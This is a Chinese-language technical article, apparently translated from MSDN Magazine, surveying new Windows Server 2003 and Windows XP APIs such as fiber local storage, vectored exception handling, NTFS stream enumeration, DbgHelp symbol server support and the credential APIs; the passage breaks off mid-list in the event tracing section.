实际上,大多数新 API(相对于 Windows 2000 而言)首先出现在 Windows XP 中,而不是 Windows Server 2003
中。出现这种情况是有充分理由的。 一开始,Windows 2000 的下一个版本的代号为 Whistler,它的测试版包括了工作站和服务器两个版本。 2001
年,Microsoft 决定服务器版本需要酝酿更长时间,因此发布了作为消费者版本和工作站版本的 Windows XP。 Microsoft
原本打算很快就发布服务器版本。 正如您已经知道的那样,发布延迟了一年半。 延迟的部分时间是由“Microsoft
可信赖计算计划”导致。根据该计划,Microsoft 的开发人员停止了新的开发,以寻找代码中的安全问题。

问题的关键在于,到某个日期时,Whistler 的工作站版本和服务器版本基本上都具有完整的特性,并使用了同样的代码库。 Windows XP 和
Windows Server 2003 之间的发布时间差主要用于使操作系统尽可能稳定。 因此,Windows Server 2003 的新特性和 API
中有许多也可以在 Windows XP 中找到 — 这根本不足为奇。

Platform SDK 头文件中使用的版本号可以证明该操作系统的公共接口(也就是 API)在 Windows XP 之后的改变非常小。 为了启用
Windows XP(及更高版本)API,需要将 _WIN32_WINNT 定义为 0×0501(也就是说,在内部,Windows XP 被认为是
Windows 5.01)。 对于 Windows Server 2003,_WIN32_WINNT 所需的 #define 值只变成 0×0502。
您稍后将看到示例程序中使用的 _WIN32_WINNT #defines。

Windows Server 2003 可以保留开发过程中名称更改的最大次数的记录。 起初,它的代号是 Whistler,后来改为 "Windows
2002 Server"。 接着,.NET 计划渗透了 Microsoft 的所有产品,该操作系统被重新命名为 "Windows .NET Server"。
在经历了另一次延迟之后,它的名称改为 "Windows .NET Server 2003"。 最后,深谋远虑的 Microsoft
高层取得了胜利,操作系统更名为 "Windows Server 2003"。 如果我漏掉了其中的一次更名,也不足为奇。

不过,从更名的过程中,我们可以看出一个重点: Windows Server 2003 是第一个将 .NET 框架作为操作系统组成部分的操作系统。
为了实现向后兼容性,该系统同时包括了最新的 .NET 框架 1.1 以及原来的 1.0 版本的 .NET 框架。 由于
MSDNMagazine 和其他地方对 .NET 进行了大量介绍,因此我在本文中不打算将 .NET 框架作为新 API。

除了作为内置 .NET 框架支持的第一个操作系统,Windows Server 2003 还是第一个 Microsoft 64
位服务器操作系统,因而与众不同。 Windows XP Professional 虽然有 64 位版本,但到目前为止,对基于 Itanium 的 64
位工作站的需求还不是很大。 现在,Microsoft 终于推出了 64 位服务器操作系统,拥有大型数据库的公司可能会开始转移到 64 位 Windows。 64
位版本的 SQL Server? 预计将与 64 位版本的 Windows Server 2003 一起提供。

Windows Server 2003 最初将提供六种配置。 对于 Intel x86 CPU,低端是用于基本 Web 服务的 Web 版服务器。
再高一级是作为部门级服务器的标准版。 从它再往上一级是面向大中型企业的企业版。 最后,针对运行在多达 32 个处理器上的大规模数据库系统提供数据中心版。
其余两种配置是企业版和数据中心版的 64 位 Itanium 版本。

比较有趣的是,64 位版本的 Windows Server 2003 不包括 .NET 框架。 显然,64 位版本的 .NET
还没有准备就绪,因此将在以后的版本中提供。

Windows Server 2003 中有许多新特性,我不会在此详述,但仍然值得一提,因为这些特性太棒了。 例如,Internet 信息服务 (IIS)
现在提供的版本是 6.0。 它在结构上有了较大改动,并且由于对内核模式侦听器下了更多的工夫,性能也获得很大的提高。 如果需要,您还可以在三种 IIS 5.0
保护级别下运行它。

Windows Server 2003 中其他异乎寻常的新特性包括(但不只限于这些特性):卷影复制、热添加内存和非统一内存访问 (NUMA)
支持。

卷影复制服务提供了一种进行完整备份的方式,即使是备份时打开的文件也可以备份。 虽然我不喜欢谈论备份,但我认为使用驱动程序透明地实现此功能是很不错的。
Mark Russinovich 和 David Solomon 在 2001 年 12 月刊上发表的文章 Windows XP:Kernel Improvements Create a More Robust, Powerful, and
Scalable OS
涵盖了卷影复制服务及许多其他新特性。

热添加内存是完全异乎寻常的特性之一,它会使您想知道那些稀奇古怪的硬件设计人员接下来会有什么奇思妙想。 这种特性能够在系统运行时向系统添加 RAM。
当您插入 RAM 后,操作系统自动进行检测,并开始使用 RAM。不过,为了实现此目的,您需要运行一个在设计上支持这种特性的系统。 在 Microsoft
文档中,您会发现来自硬件维修权威的警告:不要在任何旧系统打开时向其中盲目添加 RAM — 这样做会导致发生意外。

NUMA 是一种在企业级多处理器系统中使用的高端技术。 它的中心内容是,将内存和处理器组成单元。
处理器在访问其单元内的内存时,速度会比访问另一个单元中的内存时更快。 Windows 中的 NUMA
支持导致计划程序试图使相关的进程运行在同一个单元中。

在进入 Windows Server 2003 新 API 的核心之前,我需要在这里做一项声明。下面只是我个人的主观看法,并不全面。
我阅读了数百个头文件和 beta 文档页,精选了我认为最有趣的内容。 我不得不做出许多关于包括哪些内容和放弃哪些内容的艰难选择。
通常,对我来说,要选择一个包括在这里的特性,它必须是用户模式的 API,而不是完全深奥的 API 或与某个特定程序相关的 API。
我看到了许多设备驱动程序级的新功能,但它们不在本文的范围内。

KERNEL API

现在,我们即将开始内核级功能的讨论。 您可能会认为内核级功能指的是 KERNEL32(稍后将充分探讨这方面的内容)。 真正的系统编程发烧友知道,NTDLL
是用户模式内核的真正核心。 我已经对 Windows Server 2003 版本的 NTDLL.DLL 的导出与 Windows 2000 版本的
NTDLL.DLL 的导出做了比较。 您可能已经预料到,许多 API 被添加进去,有几个 API 消失了。 重要的是,它们都是未公开的 API,对吗?
不要这么快就得出结论!

当我在不同版本的 Platform SDK 之间比较所有那些 .H 文件时,我偶然发现一个 2002 年 10 月版的非常有趣的文件。 该文件名为
WINTERNL.H。这肯定是一个我们要紧紧抓住的文件。 它也可能在未来的 Platform SDK 中消失。 在 WINTERNL.H
的开头,是一个包括三个段落的警告,警告的内容是,所有数据结构和 API 随时可能更改,仅限 Windows 核心组件使用。
(我们以前好像见过那些警告吧,不是吗?)

不管怎样,WINTERNL.H 中包括什么特别吸引人的东西呢? 不幸的是,并不像您希望的那么多。
但还是有一些众所周知的、但仍未公开的数据结构的线索引人入胜。 例如,您将看到定义的进程环境块 (PEB) 和线程环境块 (TEB)。
不过,大多数字段是作为保留字段列出的。 同样,该文件中还包括调用 NtQueryInformationProcess 和
NtQueryInformationThread 时所必需的结构和原型。 不过,目前有各种图书和 Web 站点提供了关于这些 API 和结构的许多信息,比
WINTERNL.H 要详细得多。 必须承认,该文件对 Windows Server 2003 来说没有什么新东西。不过,该文件首次出现在随 Windows
Server 2003 提供的 SDK 中。

为什么我要对这件事情如此小题大做呢? 它的重要意义在于,Microsoft 最终承认,许多有趣的东西没有公开。 WINTERNL.H
中还有其他几个值得注意的 API: NtCreateFile、NtOpenFile、NtClose 和 NtWaitForSingleObject。 这些
API 是公共 KERNEL32 API 的用户模式实现的核心。 同样,RtlUnwind 是结构化异常处理 (SEH) 中使用的关键 API,我于 1997
年 1 月在 Microsoft Systems Journal 上发表的文章 "A Crash Course on the Depths of Win32 Structured Exception
Handling
" 描述了这一内容。 RtlUnwind 发生变化的可能性极小。 如果它发生了变化,那么,很大一部分现有的应用程序会无法运行。

进程、线程和纤程,天哪!

现在我们开始讨论 KERNEL32。我的第一组 API,如
1
所示,与进程和线程相关。出现一个异常时,它们都检索有关进程或线程的某段信息。 GetThreadId 获取线程句柄,返回相关的线程
ID。GetProcessId 也是这样。 很难相信这些函数 10 年前还没有出现在 Win32 API 中! IsWow64Process
会告知调用进程是否为运行在 64 位 Windows 下的 32 位进程。

GetProcessHandleCount 返回指定的进程已经打开的句柄数。 该计数与我们在性能监视器数据或任务管理器中看到的是同一个值。
RestoreLastError 有些不可思议。 它的代码与 SetLastError 完全一样。 我还不清楚为什么将它作为一个单独的 API。

为了示范这些新 API 中的一部分,请查看图 2中的
ProcessesAndThreads 程序。 该代码是不言自明的,因此在这里我将不再对其深究。 要编译该程序(及其他示例程序),您至少需要 2002 年 10
月的 Platform SDK,其编译器和链接器的目录搜索顺序的最前面是 Include 目录和 Lib 目录。 如果您运行的是 Windows
XP,可以在编译程序时使它只使用 API 的 Windows XP 子集。 只要对开头附近的 #define W2K3SERVER
行取消注释,然后重新编译就可以了。

除了线程处理支持,Windows Server 2003 还添加了一些新纤程 API, 如图 3中的所示。 这里要提到一条重要消息,新增了纤程本地存储 (FLS)。 这些 API 同样用于其对应的线程本地存储
(TLS)。 通过 FlsAlloc 函数来分配一个槽。 要设置或检索值,可使用 FlsGetValue 和 FlsSetValue 函数。 用完槽后,调用
FlsFree。

我顺便研究了 FLS 函数的实现。 线程环境块中偏移量为 0xFB4 处是一个指向数据结构的指针。 此结构中有八个字节是一组 128 个槽。
这些槽在概念上与 TLS 槽相同。 当线程在纤程之间切换时,偏移量为 0xFB4 处的指针也随之更新。

ConvertFiberToThread API 撤消了 ConvertThreadToFiber 的效果。 调用它之后,无法再对线程调用其他纤程函数。
图 3 中列出的其余两个 API 只是现有 API 的“扩展”版本。
CreateFiberEx 就像 CreateFiber,但它能够指定堆栈保留大小。 不过,ConvertThreadToFiberEx 非常有趣。
在原来的纤程实现中,并不在各纤程切换之间保存和还原浮点寄存器、MMX 寄存器和 SSE 寄存器来改进性能。 而新 API
允许您指定,这些寄存器也需要保存和还原。

向量化异常处理

也许,KERNEL32 中最令人兴奋的新特性就是向量化异常处理 (VEH)。利用这种特性,可以更灵活地处理异常。 我于 2001 年 9 月在
MSDN MagazineUnder
The Hood
专栏上发表的文章已经深入叙述了向量化异常处理,因此在这里我只参照图 4 中的流程图解提供简单扼要的解释。


图 4 向量化异常处理

具有 __try/__except 机制的传统结构化异常处理 (SEH) 在本质上是特定于线程的。 异常只能由建立处理程序的线程来处理。
(编译器和操作系统处理此问题的所有棘手细节,并提供相对简单的 __try/__except 语法。) 更严重的是,使用
SEH,您可能建立了一个处理程序来处理异常,没想到此异常竟首先被另一个不知道如何正确处理该异常的处理程序捕获了。

向量化异常处理的工作方式更像一个传统的通知回调方案。 要处理异常,应调用 AddVectoredExceptionHandler
API,向它传递您的异常回调函数的地址。 当异常发生时,回调函数收到指向 EXCEPTION_POINTERS 结构的指针。 这是 SEH 回调可通过
GetExceptionInformation API 收到的同一个结构。 您可以从 EXCEPTION_POINTERS
结构中的字段获知异常代码(例如,0xC0000005)和寄存器值(通过包括在内的 CONTEXT 结构)。

VEH 回调选择处理异常或将它链接到列表中的下一个处理程序。 它通过从回调返回适当的值来确定即将发生的操作。 每个进程都有一个链接的 VEH 回调列表。
作为处理异常的一部分,操作系统会在 VEH 列表中依次选择,调用处理程序。 要从该列表中删除一个处理程序,可使用
RemoveVectoredExceptionHandler API。

向量化异常处理与 SEH 如何共存呢? 这是一个很好的问题! 在 SEH 链中遍历之前,系统会先遍历向量化异常处理程序列表。 也就是说,VEH
处理程序的优先级要高于 SEH 处理程序。 要了解向量化异常处理是如何起作用的,请查看 图 5 中的 VEHDemo 程序。 VEHDemo 安装了两个向量化异常处理程序,使用结构化异常处理程序来说明 VEH 和
SEH 如何协同工作。 运行 VEHDemo 程序后产生的输出如图 6
所示。

目录和文件

图 7 所示,“文件和目录”类别中添加了几个新的 API。
SetDllDirectory 添加了当系统查找 DLL 时将搜索的任意一组目录。
系统会在应用程序加载目录后面,但在任何其他地方(如系统目录)之前搜索指定的路径。 SetDllDirectory
的文档描述了确切的搜索顺序,阅读该文档非常有意思。 GetDllDirectory 返回以前通过调用 SetDllDirectory 来设置的任何值。
GetSystemWow64Directory 用于在 64 位系统上查找 32 位系统目录。

关于 NTFS 文件系统,一个几乎不为人所知的事实是,它一个文件中支持多个流。
我们很难在有限的篇幅中解释这个比较复杂的特性,但它的要点是,多个文件可以共同由一个文件名来引用。 大多数文件只有一个与其关联的默认流,这就是大多数 Win32
API 所报告的流。 要创建与默认流不同的流,只需追加一个后面带有流名称的冒号 (:)。 例如,您可以使用记事本来创建一个名为 abc.txt:MyStream
的文件/流。 在 Windows Explorer 窗口中,您将看到一个零字节的 abc.txt 文件。 不过,abc.txt:MyStream 仍然存在。
普通的 Win32 API 只是不报告有关它的任何信息而已。

在 Windows Server 2003 中,这种情况在某种程度上有所改进。 FindFirstStream 和 FindNextStream API
枚举文件中的所有流。 为了说明它们的用法,我编写了如图 8

所示的 FindFirstStream 程序。 要使用该程序,只需向它传递一个文件名。 如果有任何默认的未命名流之外的流,该程序会将它们全部列出来。
下面是一个有三个流(abc、def 和 ghi)的文件 a.txt 的输出:

a.txt:abc:$DATA
a.txt:def:$DATA
a.txt:ghi:$DATA

ReOpenFile API 用于接受现有的文件句柄,并获得另一个具有不同的一组访问权限的句柄。
通常,在只有文件句柄、而不知道相关的文件名的代码中会用到它。 如果您的代码需要不同于现有句柄的访问权限或共享模式,ReOpenFile
提供了尝试获得那些权限的方式。 当然,ReOpenFile 确保新请求的访问权限和共享模式是合法的。 它还可以预防管线假冒攻击。

CheckNameLegalDOS8Dot3 具有一个变化无常的 API 名称。 此 API 有助于检查文件名是否可以用在文件分区表 (FAT)
文件系统卷。

您可以想想,随着长文件名(超过 8.3)的出现,操作系统需要一种方式来引用使用标准 8.3 约定的文件。
系统有一种在长版本名称和短版本名称之间进行映射的算法。 这些文件可以很容易地挑出来,因为短版本以波形符 (~)
结束,后面跟一个数字(例如,“foobar~1.txt”)。 新的 SetFileShortName API 允许您重写系统的默认短文件名。
不过,要使用短文件名,目标文件必须在 NTFS 卷上。

内存和系统信息

在内存分配方面,Windows Server 2003 和 Window XP 有一个被称为低碎片堆的特性。 这种堆算法通过分配来自 128
个预先确定的、不同块大小范围(称为存储桶)的所有块,避免产生碎片。 当应用程序需要从堆中分配内存时,堆选择能够容纳所请求的块并且浪费空间最少的存储桶。
系统将传统的堆用于超过 16KB 的块。 要使用低碎片堆,应调用 HeapSetInformation,向它传递适当的堆句柄和标志值。 在调用
HeapSetInformation 之前,默认情况下,所有堆均具有 "normal" Win32 堆行为。 要确定堆使用的是哪种行为,请调用
HeapQueryInformation API。

在系统信息方面,存在一组各种各样的新接口,如图 9

所示。 GetSystemRegistryQuota 为您提供注册表的当前大小以及所允许的最大大小。 GetSystemTimes
返回所有处理器在空闲状态下、在内核模式下以及在用户模式下所占用的时间长度。

GetNativeSystemInfo 用于运行在 64 位 Windows 下的 32 位程序。 它返回 SYSTEM_INFO
结构,对该结构进行填充就如同它是从一个本机 64 位程序调用那样。 例如,在 Itanium 计算机上运行一个 x86
程序,SYSTEM_INFO.dwPageSize 的值是 8192 个字节,而不是通过调用 GetSystemInfo 所得到的 4096 个字节。 图 10

中的 SystemInfo 程序显示了正在使用的 GetSystemInfo,以及几个其他新系统信息 API。

GetLogicalProcessorInformation 返回与 NUMA 系统和 Intel 的 Hyperthreaded CPU(其中,一个
CPU 有多个执行单元)有关的信息。 该 API 返回一组 SYSTEM_LOGICAL_PROCESSOR_INFORMATION 结构。

CreateMemoryResourceNotification 是应用程序在可用物理内存不足时收到通知、而不必一直轮询该值的方式。 该 API
创建一个可传递到 WaitForXxx 系列函数的句柄。 当可用内存降到某个阈值以下时,会向该句柄发出信号。 根据我看到的文档,对于系统上每 4GB
的内存,该阈值为 32MB。 您还可以直接使用 QueryMemoryResourceNotification 检查内存状态。
系统还可以在可用物理内存充足时通知您,但恐怕它不会是一个常用的功能。

调试 API

在调试方面,也有几个新 API。 最令人兴奋的要算是 DebugSetProcessKillOnExit。
直到现在,如果您在调试另一个进程,您没有办法停止调试。 您不能从正在调试的进程中分离。 当您调试另一个进程时,您的线程之一是调试线程,处理所有调试通知消息。
正常情况下,如果此线程终止,则被调试的进程也会终止。 DebugSetProcessKillOnExit API 改变了这种行为。 通过传递
FALSE,您可以告诉系统停止要求调试线程处理被调试进程的消息。

与该 API 有几分相似的是 DebugActiveProcessStop,它可以通知系统使指定的进程从正在调试它的进程中分离。 它只能被名为
DebugActiveProcess 或 CreateProcess 的线程调用。
由于可以认为调试器线程能同时调试多个进程,DebugActiveProcessStop 需要指示从哪个进程分离的参数。

DebugBreakProcess 就像 DebugBreak 一样,不同的是,它适用于指定的进程,而不是当前线程。 该 API
的工作方式是,在目标进程中创建一个线程,这种做法很像 CreateRemoteThread。 新创建的线程调用一个断点指令,该指令导致普通的 SEH
机制来接管工作。 对于开发人员,这通常意味着实时调试对话框会出现。

最后一个新调试 API 是 CheckRemoteDebuggerPresent。 它类似于 IsDebuggerPresent
API,因为它可以告诉您某个进程是否在调试器进程的控制下运行。 IsDebuggerPresent 可以告知您的进程是否正在被调试;而
CheckRemoteDebuggerPresent 则允许查询有关您拥有其句柄的任何进程的信息。

并行执行

在 .NET 框架中,已经有不少并行安装和执行功能了。 不过,这些同样的功能也内置在 Windows Server 2003 和 Windows XP
中。 这些功能的关键之处是,新激活上下文 (ActCtx) API,如
11

所示。

激活上下文是一组系统管理的数据结构,它们包含用于使应用程序基于清单文件使用特定 DLL 版本或 COM 对象实例的信息。 清单文件使用 XML
格式(这不足为奇!),看上去很像 .NET 清单。 关于激活上下文的使用,完全可以再写一篇文章专门进行讨论,因此我将在 SDK 文档中安排。
不过,值得注意的是,为进行并行执行,启用了某些系统 DLL,其相应的 .H 文件现在正使用激活上下文 API。 举个最好的例子,我们来研究一下
COMMCTRL.H 的最近版本。目前存在着无数其名称类似 IsolationAwareImageList_Add 这样的内联函数。这些内联函数显示了激活上下文
API 的作用。 您还会看到一些使用 C++ 宏的高明技巧,这些技巧使现有的代码无需任何改动就可以编译。

还剩下最后一个不适合归入任何其他类别的 Kernel32 API。 GetModuleHandleEx 本应该在几年前就包括在 Win32 API 中。
它所增加的关键功能是,当给定了模块内的地址时,可以查找 HMODULE。
如果您曾经编写过调试代码或诊断代码,可能遇到过这样的情况:您知道代码地址,但需要确定它来自哪个 DLL。 我们也可以使用 VirtualQuery
这种比较笨拙的方式来实现此目的,但 GetModuleHandleEx 更加简洁。

与其前身 API (GetModuleHandle) 不同,GetModuleHandleEx 影响模块的引用计数,除非您显式指定它不要这样做。
根据指定的标志,它可以递增引用计数、使之保持不变或在进程的生存期 内一直将此 DLL 定位在内存中。 GET_MODULE_HANDLE_EX_FLAG_PIN
标志解决了我萦绕于心的一个担忧。 假设您调用了 GetModuleHandle 来检索 模块句柄。
在一个多线程程序中,有可能发生这样的情况:另一个线程会在同一个地址卸载 DLL 并加载另一个 DLL。 上述这种情况可能发生在第一个线程 获得
HMODULE、但还没有开始使用它的时候。 通过在内存中定位模块,您可以确保您获得的 HMODULE 在稍后被使用时是有效的。

用户接口方面的新内容

在用户接口方面,USER32 的最大新内容就是原始输入 API。 在键盘和鼠标作为接收来自用户输入的唯一方式外,这些 API 提供了另外一种方式。
使用原始输入 API,游戏杆、麦克风或触摸屏等设备,与键盘和鼠标具有同样的作用。

在标准 Windows 输入模型中,键盘和鼠标驱动程序创建低级扫描码和移动事件。 系统接受这些低级事件,将它们转换成更高级的消息,例如,WM_CHAR 或
WM_APPCOMMAND。 虽然这种方式使输入捕获变得非常简单,但对于其他输入设备不是非常适用。

用于原始输入的新 API 如图 12 所示。
在默认情况下,应用程序不接受原始输入。 取而代之的是,您必须进行注册,通过 RegisterRawInputDevices API 接受输入,该 API
接受您感兴趣的所有设备。

当设备发生输入时,系统就向程序的消息队列发出一个 WM_INPUT 消息。
程序在无缓冲模式(一次读取一个消息)下或缓冲模式(一次读取多个消息)下读取该输入。 正如您预料的那样,有一些 API
可以枚举所有原始输入设备,查询有关它们的信息。

在 USER32 中还有其他几个我认为很有趣的新 API。(请参见
12
)。 PrintWindow API 将指定的 HWND 的内容复制到指定的设备上下文 (DC)。 IsGUIThread
返回(也可以设置)一个值,该值可确定调用线程是否为 GUI 线程,这意味着该线程已调入 Win32K.SYS,有更大的内核模式堆栈。
BroadcastSystemMessageEx 类似 BroadcastSystemMessage,不同的是,它返回有关已拒绝请求的窗口的更多信息。

虽然文本服务框架 (TSF) 是作为早期操作系统的可重新发布版提供的,但它是第一次随 Windows Server 2003 和 Windows XP
一起出现。 文本服务框架是一个可扩展的系统,它可以用一种独立于输入/输出设备的方式读取和写入文本。 TSF
最擅长的访问方式是,允许应用程序从诸如笔或麦克风这样的设备接受文本输入。

每个不同类型的文本输入/输出设备都是一个“文本服务”。 文本服务和应用程序之间是 TSF 管理器。 如果用数据库来比喻,每个文本服务就像一个 ODBC
驱动程序,TSF 管理器则扮演着 ODBC 管理器的角色。 TSF 由几个 API 和许许多多接口组成。
如果要讨论这个话题,即使不需要一本书,也得占用文章的所有篇幅 — 因此我不打算在这里进一步说明。

近年来,Microsoft 以一种更图形化的表达方式,使 GDI 变得友好,面向对象。 当然,诸如 MFC
这样的应用程序框架已经朝着这个方向努力好几年了,但新的 GDI+ API 是核心操作系统的一部分,您无需再引入应用程序框架的所有那些概念。 大体上来说,GDI+
功能可以分为以下四类: 二维矢量图形(直线和曲线)、图像处理(位图)、版式(文本显示)和矩阵变换。

虽然 GDI+ API 从技术上来说就像任何其他 Win32 API 一样,但您不可能直接调用它们(至少是从 C++ 代码)。 而 Platform
SDK 则有一组定义了大约 40 个 C++ 类的头文件(例如,头文件名为 GDIPlus.H)。 这些类中比较典型的有 Bitmap、Font 和
Region。 这些类的方法通常是调用 GDIPlus.DLL 中的基础 API 的内联函数。

下面是 GDIPlus 类在 C++ 代码中的典型使用示例: VOID OnPaint(HDC hdc) {
Graphics graphics(hdc); Pen pen(Color(255, 0, 0, 255));
graphics.DrawLine(&pen, 0, 0, 200, 100); }
注意,代码中没有
BeginPaint/EndPaint 这样麻烦的过程。 一切都是面向对象的。 Graphics 对象是相当于设备上下文句柄 (HDC) 的 GDI+。 Pen
对象为您负责基础 GDI 笔的创建和析构。

了解 GDI+ 的最佳方法是,浏览 GDIPlus.H 以及它引用的文件。 要使用 GDI+,您需要在源文件中加入 #include
GDIPlus.H,然后将 GDIPlus.lib 文件添加到链接器行。 要注意的是,GDIPlus.DLL 是并行启用的。 因此,您不会在
\windows\system32 目录中找到它。 相反,您会在 \windows\winsxs\ 下的各子目录中看到它的各种版本。

新公开的接口

Microsoft 最近公开了 Windows 2000 或更早期的操作系统中就已出现的几百个 API 和 COM 接口。 您可以访问 Settlement
Program Interfaces
找到这些 API。 虽然它们在技术上不是新内容,但现在有了公开的文档,因此您可以放心地在 Windows XP
和更高版本的操作系统中调用它们。 坦率地说,当我看到这些 API 时,我认为除了几个以外,确实没有什么新鲜的东西。 当您以挑剔的眼光研究这些 API
之后,您会发现,它们大多数都是在完善现有的 API 集合而已。 此外,该列表中的一些 API 已经公开过了,但这次增加了新的细节。

到目前为止,最大的 API 子集要算是 SHELL32 库。 里面大约包括了 110 个 API,但从名称来看,许多 API 的使用非常有限。
比如说,有人用过 CDefFolderMenu_Create2 吗? 不过,令人高兴的是,超过 20 个的新 COM 接口公开了,包括
IMenuBand、IShellItem 和 IShellTaskScheduler。

新公开的 API 还有一些与密码有关的新函数。 WININET.DLL 有五个新 API,大多数都与代理支持有关。 DirectShow 功能增加了 12
个左右的新 API。 最后,其中有些 API,如 NtQuerySystemTime 和 RtlUnwind,在前面提到的 WINTERNL.H
文件中介绍过了。

DEBUGHLP 方面的新内容

长期阅读我的文章和 MSDN Magazine 专栏的读者都知道,DBGHELP.DLL 是我最喜爱的 DLL 之一。 自从其在
Windows 2000 出现以来,经历了相当大的变化。 该 DLL 具有如此之多的新用途,以至我真的很难决定从哪里开始说起。

DbgHelp 中最酷的特性之一并不是您调用的 API。 您是否经历过这样的挫折:您的调试符号与系统上的 DLL 变得不同步? 多亏
DBGHELP.DLL 的存在,这种问题(在很大程度上)已经成为过去。 新特性称为符号服务器。 当您要求 DbgHelp
加载模块的符号时,如果它在本地找不到调试文件,则调用符号服务器 DLL 来 定位调试文件。 符号服务器 DLL 可以用它认为合适的任何方式来定位调试文件。
从概念上来说,任何人都可以编写符号服务器 DLL,并且 DbgHelp 都会使用它。

实际上,Microsoft 已经创建了一个几乎所有人都会使用的符号服务器 DLL (SymSrv.DLL)。 此外,Microsoft 还将几乎每个相关的
Windows 版本的调试符号都放在可公开访问的 Web 服务器上。 最后的结果是,调试器和工具本身不用做额外工作即可动态地获得调试文件。
需要做的全部事情就是使用 DbgHelp.DLL 来访问符号。 SymSrv.DLL 是用于 Windows 的调试工具的一部分,可以从 MSDN
站点下载(请参见 Microsoft Debugging Tools)。

SymSrv.DLL 在第一次需要 PDB 文件的时候自动下载适当的 PDB 文件,将它存储在本地。 它确保下载的 PDB 文件是用于该 DLL
的正确版本。 在本地存储 PDB 文件时,它使用一种允许多个版本的 DLL 的 PDB 共存的目录命名方案。

Visual Studio .NET 的用户可以使用符号服务器功能。 需要做的全部事情就是,将 SymSrv.DLL 放在 IDE
(DevEnv.exe) 所在的同一目录,然后设置一个环境变量。 默认情况下,DBGHELP.DLL 使用 _NT_SYMBOL_PATH 中的路径来定位符号。
为了指示应该使用符号服务器,_NT_SYMBOL_PATH 应类似于如下所示: symsrv*symsrv.dll*c:\winnt\symbols*
http://msdl.microsoft.com/download/symbols

显然,您希望路径部分(本示例为 "c:\winnt\symbols")指向硬盘上的一个有效目录。 假设您正确地完成了所有设置,该功能会顺利执行。
我已经在无数台机器上成功地使用了此功能,但不幸的是,如果您遇到问题,我无法提供支持。

DbgHelp 中的下一个重大特性是类型支持。 我于 2002 年 3 月在 Under
The Hood
专栏上发表的文章详细地讨论了该主题,因此我在这里只是稍微提几句。 类型支持已经扩展到基元类型的范围之外,包括用户定义的类型。 使用新的
SymFromAddr 和 SymFromName API,您可以获得类型索引。 然后,该类型索引被传递到 SymGetTypeInfo,以获得有关类型的信息。
SymGetTypeInfo 是一个相当难以理解的 API,因此我再次建议您阅读前面提到的、有关此主题的专栏文章。 利用
SymEnumTypes,可以枚举给定的符号表中的所有用户定义的类型。

如果您是一个长期的 DbgHelp 用户,可能会注意到,许多新 API 与现有的接口并行运行。 例如,SymEnumSymbols 的用途看起来与
SymEnumerateSymbols 差不多。 新的 API 存在的理由是,旧的 API 提供的有关符号的信息不很完整。 而更新的 API 则始终使用
SYMBOL_INFO 结构,该结构中关于符号的信息要完整得多。

DbgHelp 还新增了另一个令人兴奋的特性 — 识别局部变量和参数。 过去,您可以枚举模块的符号,但只能是全局符号。 利用新的
SymEnumSymbols API,您可以枚举局部变量和参数。 为实现此目的,需要使用一个非显而易见的技巧 — 预先调用 SymSetContext 函数。
您应该在您感兴趣的特定函数内指定某个地址时调用 SymSetContext。在后台,DbgHelp 找到封闭函数的局部变量和参数,并且只枚举它们。

MiniDumpWriteDump API 也是一个令人兴奋的特性。 只要调用一次,您就可以创建自己的转储文件。 这些文件与您从 Dr. Watson
故障或 UserDump 工具得到的文件是完全一样的。 这些转储文件可以加载到 WinDBG 或 Visual Studio .NET 中,用于总结调试过程。
创建转储文件的原因通常是,您的程序可能在运行时遇到一些意外情况。 用户可以将该文件送回给您,这样您就可以在选择的调试器中仔细研究。

还有许多其他新的 DbgHelp API,但在本节中我只再讨论其中的几个。 现在,您可以通过 SymEnumLines API 枚举源文件行。 利用
SymAddSymbol 和 SymDeleteSymbol,您可以动态地扩展符号文件中定义的符号。 如果有 .NET 元数据方法标记,SymFromToken
API 返回 SYMBOL_INFO。 在支持基于 .NET 框架的调试信息时,这对 DBGHELP 来说是很重要的第一个步骤。

现在增加了这么多的新特性,如果不展示其中的一些,简直有点说不过去。 DBGHELP51
程序(随本月的下载内容提供,下载内容位于本文开头的链接)使用了一些刚刚讨论的新 API,包括 SymEnumSymbols、SymEnumLines 和
SymGetTypeInfo。 要测试该程序,请运行 DBGHELP51.EXE,向它传递包括其调试信息的 EXE 文件的名称。
如果调试信息正确加载,DBGHELP51.EXE 首先会列出所有全局符号。 如果类型信息可用,类型名称跟在符号名称的后面。
输出的第二个部分是任何源文件和行号信息(如果找到这些信息)。

Windows 错误报告

一个新 DLL 只有两个导出的 API? 这就是 Windows 错误报告 API 涉及的内容。 近几年来,您可能已经注意到,Microsoft
已经做了大量工作,尽量减少应用程序错误带给普通用户的困扰。 例如,从 Windows XP
开始,当程序遇到一个未处理的异常时,会弹出一个对话框,询问您是否希望将报告发送给 Microsoft。 利用新的错误报告
API,应用程序可以在这点上更好地与系统集成。

第一个 API 是 ReportFault,在利用 try 块捕获自己的异常应用程序中使用该 API。 该 API 将应用程序绑定到系统的错误报告机制。
ReportFault 采用 EXCEPTION_POINTERS 结构作为参数。 调用 ReportFault
后导致的系统操作与没有捕获异常的情况下发生的系统操作是一样的。 ReportFault 的返回值是一个指示系统做了什么的代码。 例如,返回代码
frrvLaunchDebugger 指示,启动了调试器来连接程序。

第二个 API 是 AddERExcludedApplication,该 API 阻止系统报告有关指定的可执行文件的错误。 例如,如果调用该 API
时传递字符串 foo.exe,则调用 foo.exe 的任何程序如果出现未处理的异常,都不会报告。 AddERExcludedApplication
的参数应该只是一个简单的 EXE 名称,没有任何路径信息。

ADVAPI32

由于 Microsoft 非常重视安全问题,那么新增了一组被称为凭据 API 的接口也就不足为奇了。 这些 API 获取和管理诸如用户名和密码这样的信息。
它们可以请求 Windows XP 帐户信息,以代替登录时建立的凭据来使用。 这种请求通常发生在登录凭据没有应用程序所需的权限的情况下。

图 13显示了凭据 API,它们来自新 WINCRED.H
文件。 为了说明某个基本功能,我编写了 Credential 程序,该程序枚举所有当前凭据并显示每个凭据的基本信息(请参见图 14

)。 请试着在您的系统上运行该程序。 您可能会对看到的结果感到惊讶。

ADVAPI32 中的另一组新安全 API 是 safer API。 这些 API
旨在使启动其他程序的程序可以很容易地查询安全策略,以便在启动可执行文件之前获得批准。 此功能不仅限于可执行文件,因为还可以验证其他种类的活动内容,如脚本。 这些
API 对于处理电子邮件附件尤其有用。 图 15

显示了 safer API,它们是在 WinSafer.H 中定义的。现在的情况是,在有关如何使用函数的实际示例中,缺少这些 API 的内容。

ADVAPI32 还新增了几个事件跟踪 API(请参见图 15

)。 事件跟踪是在 Windows 2000 中引入的。正如您预想的那样,TraceMessage 将事件发送到指定的跟踪会话。
TraceMessageVA 在本质上是相同的 API,不同的是,它接受数量可变的参数。 EnumerateTraceGUIDs
